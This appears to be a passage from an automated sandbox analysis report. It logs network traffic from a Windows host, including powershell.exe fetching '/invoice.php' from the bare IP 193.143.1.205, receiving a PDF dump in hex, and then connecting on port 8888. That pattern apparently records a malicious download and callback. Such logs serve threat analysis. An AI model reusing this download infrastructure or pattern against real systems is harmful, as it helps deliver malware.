Jan 10, 2025 14:58:03.818979025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.831669092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.862967014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.862978935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.862987995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.862998009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863044977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863046885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863054037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863084078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863140106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863148928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863158941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863168955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863193035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863210917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863265991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863276958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863305092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863379955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863389969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863399029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863408089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863416910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863423109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863428116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863437891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863464117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863647938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863656998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863666058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863675117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863679886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863684893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863693953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863703966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863708019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863713026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863722086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863734007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863751888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.863774061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863805056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863814116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.863841057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.899873018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.899889946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.899899960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.899945021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.899971962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.899990082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900001049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900006056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900016069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900046110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900064945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900226116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900274038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900283098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900316954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900387049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900398016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900407076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900418043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900425911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900451899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900665998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900706053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900706053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900716066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900748968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900810003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900819063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900827885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900854111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900876045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900886059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900912046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900943041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900974989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.900976896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.900985003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901015043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.901067972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901077986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901087999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901109934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.901160002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901170015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901191950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.901251078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901261091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901269913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901278973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901287079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.901308060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.901329041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.901370049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902220011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902231932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902244091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902271032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902328014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902338028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902360916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902432919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902442932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902451992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902462006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902467012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902472019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902484894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902519941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902544022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902698994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902709007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902718067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902726889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902731895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902736902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902745008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902746916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902756929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902765989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902774096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902776957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902786016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902792931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902812004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.902957916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902967930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902977943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902986050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.902993917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903002024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903011084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903013945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903023005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903032064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903043032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903050900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903053045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903076887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903240919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903250933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903276920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903326988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903337955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903347015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903356075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903366089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903366089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903386116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903410912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903572083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903583050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903593063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903609037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903618097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903620005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903630018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903642893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903652906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903654099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903664112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.903681040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.903702974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.929810047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.936753988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.938092947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938121080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938131094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938141108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938152075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.938180923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.938183069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938194036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938203096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938220978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.938221931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.938240051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944078922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944092035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944103003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944127083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944154024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944164991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944178104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944186926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944216013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944227934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944379091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944389105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944401979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944427967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944468021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944478035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944487095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944497108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944505930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944577932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944597960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944608927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944618940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944628954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944658041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944672108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944711924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944721937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944730997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.944756031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.944768906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.986819029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986841917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986850977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986896992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986907005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986923933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.986963987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986967087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.986974955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.986984015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987004042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987020969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987042904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987205029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987214088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987229109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987236977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987240076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987251997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987262964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987262964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987272024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987283945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987286091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987293959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.987304926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.987329960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:04.023051977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:04.026212931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:04.274337053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:05.012780905 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:05.017903090 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:05.018001080 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:05.019021034 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:05.023859024 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:05.832386017 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:05.881690979 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:06.093422890 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:58:17.997344971 CET	53777	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:58:17.997344971 CET	192.168.2.4	1.1.1.1	0xf921	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:58:18.004483938 CET	1.1.1.1	192.168.2.4	0xf921	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7584	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:58:02.417706013 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:58:03.221093893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:58:03.221122026 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:58:03.221131086 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:58:03.221204996 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 14:58:03.221214056 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 14:58:03.221223116 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
